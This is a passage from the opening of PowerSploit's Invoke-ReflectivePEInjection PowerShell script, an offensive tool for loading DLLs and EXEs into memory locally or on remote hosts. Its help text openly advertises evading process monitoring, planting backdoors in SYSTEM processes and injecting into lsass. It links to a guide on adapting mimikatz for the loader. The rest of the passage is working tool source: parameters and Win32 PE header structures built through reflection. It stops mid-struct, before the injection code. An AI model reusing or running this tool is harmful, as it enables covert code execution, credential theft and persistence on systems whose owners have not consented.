function Invoke-ReflectivePEInjection

{

<#

.SYNOPSIS

This script has two modes. It can reflectively load a DLL/EXE in to the PowerShell process,

or it can reflectively load a DLL in to a remote process. These modes have different parameters and constraints,

please lead the Notes section (GENERAL NOTES) for information on how to use them.

1.)Reflectively loads a DLL or EXE in to memory of the Powershell process.

Because the DLL/EXE is loaded reflectively, it is not displayed when tools are used to list the DLLs of a running process.

This tool can be run on remote servers by supplying a local Windows PE file (DLL/EXE) to load in to memory on the remote system,

this will load and execute the DLL/EXE in to memory without writing any files to disk.

2.) Reflectively load a DLL in to memory of a remote process.

As mentioned above, the DLL being reflectively loaded won't be displayed when tools are used to list DLLs of the running remote process.

This is probably most useful for injecting backdoors in SYSTEM processes in Session0. Currently, you cannot retrieve output

from the DLL. The script doesn't wait for the DLL to complete execution, and doesn't make any effort to cleanup memory in the

remote process.

PowerSploit Function: Invoke-ReflectivePEInjection

Author: Joe Bialek, Twitter: @JosephBialek

Code review and modifications: Matt Graeber, Twitter: @mattifestation

License: BSD 3-Clause

Required Dependencies: None

Optional Dependencies: None

.DESCRIPTION

Reflectively loads a Windows PE file (DLL/EXE) in to the powershell process, or reflectively injects a DLL in to a remote process.

.PARAMETER PEBytes

A byte array containing a DLL/EXE to load and execute.

.PARAMETER ComputerName

Optional, an array of computernames to run the script on.

.PARAMETER FuncReturnType

Optional, the return type of the function being called in the DLL. Default: Void

Options: String, WString, Void. See notes for more information.

IMPORTANT: For DLLs being loaded remotely, only Void is supported.

.PARAMETER ExeArgs

Optional, arguments to pass to the executable being reflectively loaded.

.PARAMETER ProcName

Optional, the name of the remote process to inject the DLL in to. If not injecting in to remote process, ignore this.

.PARAMETER ProcId

Optional, the process ID of the remote process to inject the DLL in to. If not injecting in to remote process, ignore this.

.PARAMETER ForceASLR

Optional, will force the use of ASLR on the PE being loaded even if the PE indicates it doesn't support ASLR. Some PE's will work with ASLR even

if the compiler flags don't indicate they support it. Other PE's will simply crash. Make sure to test this prior to using. Has no effect when

loading in to a remote process.

.PARAMETER DoNotZeroMZ

Optional, will not wipe the MZ from the first two bytes of the PE. This is to be used primarily for testing purposes and to enable loading the same PE with Invoke-ReflectivePEInjection more than once.

.EXAMPLE

Load DemoDLL and run the exported function WStringFunc on Target.local, print the wchar_t* returned by WStringFunc().

$PEBytes = [IO.File]::ReadAllBytes('DemoDLL.dll')

Invoke-ReflectivePEInjection -PEBytes $PEBytes -FuncReturnType WString -ComputerName Target.local

.EXAMPLE

Load DemoDLL and run the exported function WStringFunc on all computers in the file targetlist.txt. Print

the wchar_t* returned by WStringFunc() from all the computers.

$PEBytes = [IO.File]::ReadAllBytes('DemoDLL.dll')

Invoke-ReflectivePEInjection -PEBytes $PEBytes -FuncReturnType WString -ComputerName (Get-Content targetlist.txt)

.EXAMPLE

Load DemoEXE and run it locally.

$PEBytes = [IO.File]::ReadAllBytes('DemoEXE.exe')

Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs "Arg1 Arg2 Arg3 Arg4"

.EXAMPLE

Load DemoEXE and run it locally. Forces ASLR on for the EXE.

$PEBytes = [IO.File]::ReadAllBytes('DemoEXE.exe')

Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs "Arg1 Arg2 Arg3 Arg4" -ForceASLR

.EXAMPLE

Refectively load DemoDLL_RemoteProcess.dll in to the lsass process on a remote computer.

$PEBytes = [IO.File]::ReadAllBytes('DemoDLL_RemoteProcess.dll')

Invoke-ReflectivePEInjection -PEBytes $PEBytes -ProcName lsass -ComputerName Target.Local

.NOTES

GENERAL NOTES:

The script has 3 basic sets of functionality:

1.) Reflectively load a DLL in to the PowerShell process

-Can return DLL output to user when run remotely or locally.

-Cleans up memory in the PS process once the DLL finishes executing.

-Great for running pentest tools on remote computers without triggering process monitoring alerts.

-By default, takes 3 function names, see below (DLL LOADING NOTES) for more info.

2.) Reflectively load an EXE in to the PowerShell process.

-Can NOT return EXE output to user when run remotely. If remote output is needed, you must use a DLL. CAN return EXE output if run locally.

-Cleans up memory in the PS process once the DLL finishes executing.

-Great for running existing pentest tools which are EXE's without triggering process monitoring alerts.

3.) Reflectively inject a DLL in to a remote process.

-Can NOT return DLL output to the user when run remotely OR locally.

-Does NOT clean up memory in the remote process if/when DLL finishes execution.

-Great for planting backdoor on a system by injecting backdoor DLL in to another processes memory.

-Expects the DLL to have this function: void VoidFunc(). This is the function that will be called after the DLL is loaded.

DLL LOADING NOTES:

PowerShell does not capture an applications output if it is output using stdout, which is how Windows console apps output.

If you need to get back the output from the PE file you are loading on remote computers, you must compile the PE file as a DLL, and have the DLL

return a char* or wchar_t*, which PowerShell can take and read the output from. Anything output from stdout which is run using powershell

remoting will not be returned to you. If you just run the PowerShell script locally, you WILL be able to see the stdout output from

applications because it will just appear in the console window. The limitation only applies when using PowerShell remoting.

For DLL Loading:

Once this script loads the DLL, it calls a function in the DLL. There is a section near the bottom labeled "YOUR CODE GOES HERE"

I recommend your DLL take no parameters. I have prewritten code to handle functions which take no parameters are return

the following types: char*, wchar_t*, and void. If the function returns char* or wchar_t* the script will output the

returned data. The FuncReturnType parameter can be used to specify which return type to use. The mapping is as follows:

wchar_t* : FuncReturnType = WString

char* : FuncReturnType = String

void : Default, don't supply a FuncReturnType

For the whcar_t* and char_t* options to work, you must allocate the string to the heap. Don't simply convert a string

using string.c_str() because it will be allocaed on the stack and be destroyed when the DLL returns.

The function name expected in the DLL for the prewritten FuncReturnType's is as follows:

WString : WStringFunc

String : StringFunc

Void : VoidFunc

These function names ARE case sensitive. To create an exported DLL function for the wstring type, the function would

be declared as follows:

extern "C" __declspec( dllexport ) wchar_t* WStringFunc()

If you want to use a DLL which returns a different data type, or which takes parameters, you will need to modify

this script to accomodate this. You can find the code to modify in the section labeled "YOUR CODE GOES HERE".

Find a DemoDLL at: https://github.com/clymb3r/PowerShell/tree/master/Invoke-ReflectiveDllInjection

.LINK

http://clymb3r.wordpress.com/2013/04/06/reflective-dll-injection-with-powershell/

Blog on modifying mimikatz for reflective loading: http://clymb3r.wordpress.com/2013/04/09/modifying-mimikatz-to-be-loaded-using-invoke-reflectivedllinjection-ps1/

Blog on using this script as a backdoor with SQL server: http://www.casaba.com/blog/

#>

[CmdletBinding()]

Param(

[Parameter(Position = 0, Mandatory = $true)]

[ValidateNotNullOrEmpty()]

[Byte[]]

$PEBytes,

[Parameter(Position = 1)]

[String[]]

$ComputerName,

[Parameter(Position = 2)]

[ValidateSet( 'WString', 'String', 'Void' )]

[String]

$FuncReturnType = 'Void',

[Parameter(Position = 3)]

[String]

$ExeArgs,

[Parameter(Position = 4)]

[Int32]

$ProcId,

[Parameter(Position = 5)]

[String]

$ProcName,

[Switch]

$ForceASLR,

[Switch]

$DoNotZeroMZ

)

Set-StrictMode -Version 2

$RemoteScriptBlock = {

[CmdletBinding()]

Param(

[Parameter(Position = 0, Mandatory = $true)]

[Byte[]]

$PEBytes,

[Parameter(Position = 1, Mandatory = $true)]

[String]

$FuncReturnType,

[Parameter(Position = 2, Mandatory = $true)]

[Int32]

$ProcId,

[Parameter(Position = 3, Mandatory = $true)]

[String]

$ProcName,

[Parameter(Position = 4, Mandatory = $true)]

[Bool]

$ForceASLR

)

###################################

########## Win32 Stuff ##########

###################################

Function Get-Win32Types

{

$Win32Types = New-Object System.Object

#Define all the structures/enums that will be used

# This article shows you how to do this with reflection: http://www.exploit-monday.com/2012/07/structs-and-enums-using-reflection.html

$Domain = [AppDomain]::CurrentDomain

$DynamicAssembly = New-Object System.Reflection.AssemblyName('DynamicAssembly')

$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynamicAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)

$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('DynamicModule', $false)

$ConstructorInfo = [System.Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0]

############ ENUM ############

#Enum MachineType

$TypeBuilder = $ModuleBuilder.DefineEnum('MachineType', 'Public', [UInt16])

$TypeBuilder.DefineLiteral('Native', [UInt16] 0) | Out-Null

$TypeBuilder.DefineLiteral('I386', [UInt16] 0x014c) | Out-Null

$TypeBuilder.DefineLiteral('Itanium', [UInt16] 0x0200) | Out-Null

$TypeBuilder.DefineLiteral('x64', [UInt16] 0x8664) | Out-Null

$MachineType = $TypeBuilder.CreateType()

$Win32Types | Add-Member -MemberType NoteProperty -Name MachineType -Value $MachineType

#Enum MagicType

$TypeBuilder = $ModuleBuilder.DefineEnum('MagicType', 'Public', [UInt16])

$TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR32_MAGIC', [UInt16] 0x10b) | Out-Null

$TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR64_MAGIC', [UInt16] 0x20b) | Out-Null

$MagicType = $TypeBuilder.CreateType()

$Win32Types | Add-Member -MemberType NoteProperty -Name MagicType -Value $MagicType

#Enum SubSystemType

$TypeBuilder = $ModuleBuilder.DefineEnum('SubSystemType', 'Public', [UInt16])

$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_UNKNOWN', [UInt16] 0) | Out-Null

$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_NATIVE', [UInt16] 1) | Out-Null

$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_GUI', [UInt16] 2) | Out-Null

$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CUI', [UInt16] 3) | Out-Null

$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_POSIX_CUI', [UInt16] 7) | Out-Null

$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CE_GUI', [UInt16] 9) | Out-Null

$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_APPLICATION', [UInt16] 10) | Out-Null

$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER', [UInt16] 11) | Out-Null

$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER', [UInt16] 12) | Out-Null

$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_ROM', [UInt16] 13) | Out-Null

$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_XBOX', [UInt16] 14) | Out-Null

$SubSystemType = $TypeBuilder.CreateType()

$Win32Types | Add-Member -MemberType NoteProperty -Name SubSystemType -Value $SubSystemType

#Enum DllCharacteristicsType

$TypeBuilder = $ModuleBuilder.DefineEnum('DllCharacteristicsType', 'Public', [UInt16])

$TypeBuilder.DefineLiteral('RES_0', [UInt16] 0x0001) | Out-Null

$TypeBuilder.DefineLiteral('RES_1', [UInt16] 0x0002) | Out-Null

$TypeBuilder.DefineLiteral('RES_2', [UInt16] 0x0004) | Out-Null

$TypeBuilder.DefineLiteral('RES_3', [UInt16] 0x0008) | Out-Null

$TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE', [UInt16] 0x0040) | Out-Null

$TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY', [UInt16] 0x0080) | Out-Null

$TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_NX_COMPAT', [UInt16] 0x0100) | Out-Null

$TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_ISOLATION', [UInt16] 0x0200) | Out-Null

$TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_SEH', [UInt16] 0x0400) | Out-Null

$TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_BIND', [UInt16] 0x0800) | Out-Null

$TypeBuilder.DefineLiteral('RES_4', [UInt16] 0x1000) | Out-Null

$TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_WDM_DRIVER', [UInt16] 0x2000) | Out-Null

$TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE', [UInt16] 0x8000) | Out-Null

$DllCharacteristicsType = $TypeBuilder.CreateType()

$Win32Types | Add-Member -MemberType NoteProperty -Name DllCharacteristicsType -Value $DllCharacteristicsType

########### STRUCT ###########

#Struct IMAGE_DATA_DIRECTORY

$Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'

$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DATA_DIRECTORY', $Attributes, [System.ValueType], 8)

($TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public')).SetOffset(0) | Out-Null

($TypeBuilder.DefineField('Size', [UInt32], 'Public')).SetOffset(4) | Out-Null

$IMAGE_DATA_DIRECTORY = $TypeBuilder.CreateType()

$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DATA_DIRECTORY -Value $IMAGE_DATA_DIRECTORY

#Struct IMAGE_FILE_HEADER

$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'

$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_FILE_HEADER', $Attributes, [System.ValueType], 20)

$TypeBuilder.DefineField('Machine', [UInt16], 'Public') | Out-Null

$TypeBuilder.DefineField('NumberOfSections', [UInt16], 'Public') | Out-Null

$TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null

$TypeBuilder.DefineField('PointerToSymbolTable', [UInt32], 'Public') | Out-Null

$TypeBuilder.DefineField('NumberOfSymbols', [UInt32], 'Public') | Out-Null

$TypeBuilder.DefineField('SizeOfOptionalHeader', [UInt16], 'Public') | Out-Null

$TypeBuilder.DefineField('Characteristics', [UInt16], 'Public') | Out-Null

$IMAGE_FILE_HEADER = $TypeBuilder.CreateType()

$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_HEADER -Value $IMAGE_FILE_HEADER

#Struct IMAGE_OPTIONAL_HEADER64

$Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'

$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER64', $Attributes, [System.ValueType], 240)

($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null

($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null

($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null

($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null

($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null

($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null

($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null

($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null

($TypeBuilder.DefineField('ImageBase', [UInt64], 'Public')).SetOffset(24) | Out-Null

($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null

($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null

($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null

($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null

($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null

($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null

($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null

($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null

($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null

($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null

($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null

($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null

($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null

($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null

($TypeBuilder.DefineField('SizeOfStackReserve', [UInt64], 'Public')).SetOffset(72) | Out-Null

($TypeBuilder.DefineField('SizeOfStackCommit', [UInt64], 'Public')).SetOffset(80) | Out-Null

($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt64], 'Public')).SetOffset(88) | Out-Null

($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt64], 'Public')).SetOffset(96) | Out-Null

($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(104) | Out-Null

($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(108) | Out-Null

($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null

($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null

($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null

($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null

($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null

($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null

($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null

($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null

($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null

($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null

($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null

($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null

($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null

($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null

($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(224) | Out-Null

($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(232) | Out-Null

$IMAGE_OPTIONAL_HEADER64 = $TypeBuilder.CreateType()

$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER64 -Value $IMAGE_OPTIONAL_HEADER64

#Struct IMAGE_OPTIONAL_HEADER32

$Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'

$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER32', $Attributes, [System.ValueType], 224)

($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null

($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null

($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null

($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null

($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null

($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null

($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null

($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null

($TypeBuilder.DefineField('BaseOfData', [UInt32], 'Public')).SetOffset(24) | Out-Null

($TypeBuilder.DefineField('ImageBase', [UInt32], 'Public')).SetOffset(28) | Out-Null

($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null

($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null

($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null

($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null

($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null

($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null

($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null

($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null

($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null

($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null

($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null

($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null

($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null

($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null

($TypeBuilder.DefineField('SizeOfStackReserve', [UInt32], 'Public')).SetOffset(72) | Out-Null

($TypeBuilder.DefineField('SizeOfStackCommit', [UInt32], 'Public')).SetOffset(76) | Out-Null

($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt32], 'Public')).SetOffset(80) | Out-Null

($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt32], 'Public')).SetOffset(84) | Out-Null

($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(88) | Out-Null

($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(92) | Out-Null

($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(96) | Out-Null

($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(104) | Out-Null

($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null

($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null

($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null

($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null

($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null

($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null

($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null

($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null

($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null

($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null

($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null

($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null

($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null

($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null

$IMAGE_OPTIONAL_HEADER32 = $TypeBuilder.CreateType()

$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER32 -Value $IMAGE_OPTIONAL_HEADER32

#Struct IMAGE_NT_HEADERS64

$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'

$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS64', $Attributes, [System.ValueType], 264)

$TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null

$TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null

$TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER64, 'Public') | Out-Null

$IMAGE_NT_HEADERS64 = $TypeBuilder.CreateType()

$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS64 -Value $IMAGE_NT_HEADERS64

#Struct IMAGE_NT_HEADERS32

$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'

$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS32', $Attributes, [System.ValueType], 248)

$TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null

$TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null

$TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER32, 'Public') | Out-Null

$IMAGE_NT_HEADERS32 = $TypeBuilder.CreateType()

$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS32 -Value $IMAGE_NT_HEADERS32

#Struct IMAGE_DOS_HEADER

$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'

$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DOS_HEADER', $Attributes, [System.ValueType], 64)

$TypeBuilder.DefineField('e_magic', [UInt16], 'Public') | Out-Null

$TypeBuilder.DefineField('e_cblp', [UInt16], 'Public') | Out-Null

$TypeBuilder.DefineField('e_cp', [UInt16], 'Public') | Out-Null

$TypeBuilder.DefineField('e_crlc', [UInt16], 'Public') | Out-Null

$TypeBuilder.DefineField('e_cparhdr', [UInt16], 'Public') | Out-Null

$TypeBuilder.DefineField('e_minalloc', [UInt16], 'Public') | Out-Null

$TypeBuilder.DefineField('e_maxalloc', [UInt16], 'Public') | Out-Null

$TypeBuilder.DefineField('e_ss', [UInt16], 'Public') | Out-Null

$TypeBuilder.DefineField('e_sp', [UInt16], 'Public') | Out-Null

$TypeBuilder.DefineField('e_csum', [UInt16], 'Public') | Out-Null

$TypeBuilder.DefineField('e_ip', [UInt16], 'Public') | Out-Null

$TypeBuilder.DefineField('e_cs', [UInt16], 'Public') | Out-Null

$TypeBuilder.DefineField('e_lfarlc', [UInt16], 'Public') | Out-Null

$TypeBuilder.DefineField('e_ovno', [UInt16], 'Public') | Out-Null

$e_resField = $TypeBuilder.DefineField('e_res', [UInt16[]], 'Public, HasFieldMarshal')

$ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray

$FieldArray = @([System.Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst'))

$AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 4))

$e_resField.SetCustomAttribute($AttribBuilder)

$TypeBuilder.DefineField('e_oemid', [UInt16], 'Public') | Out-Null

$TypeBuilder.DefineField('e_oeminfo', [UInt16], 'Public') | Out-Null

$e_res2Field = $TypeBuilder.DefineField('e_res2', [UInt16[]], 'Public, HasFieldMarshal')

$ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray

$AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 10))

$e_res2Field.SetCustomAttribute($AttribBuilder)

$TypeBuilder.DefineField('e_lfanew', [Int32], 'Public') | Out-Null

$IMAGE_DOS_HEADER = $TypeBuilder.CreateType()

$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DOS_HEADER -Value $IMAGE_DOS_HEADER

#Struct IMAGE_SECTION_HEADER

$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'

$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_SECTION_HEADER', $Attributes, [System.ValueType], 40)

$nameField = $TypeBuilder.DefineField('Name', [Char[]], 'Public, HasFieldMarshal')

$ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray

$AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 8))

$nameField.SetCustomAttribute($AttribBuilder)

$TypeBuilder.DefineField('VirtualSize', [UInt32], 'Public') | Out-Null

$TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null

$TypeBuilder.DefineField('SizeOfRawData', [UInt32], 'Public') | Out-Null

$TypeBuilder.DefineField('PointerToRawData', [UInt32], 'Public') | Out-Null

$TypeBuilder.DefineField('PointerToRelocations', [UInt32], 'Public') | Out-Null

$TypeBuilder.DefineField('PointerToLinenumbers', [UInt32], 'Public') | Out-Null
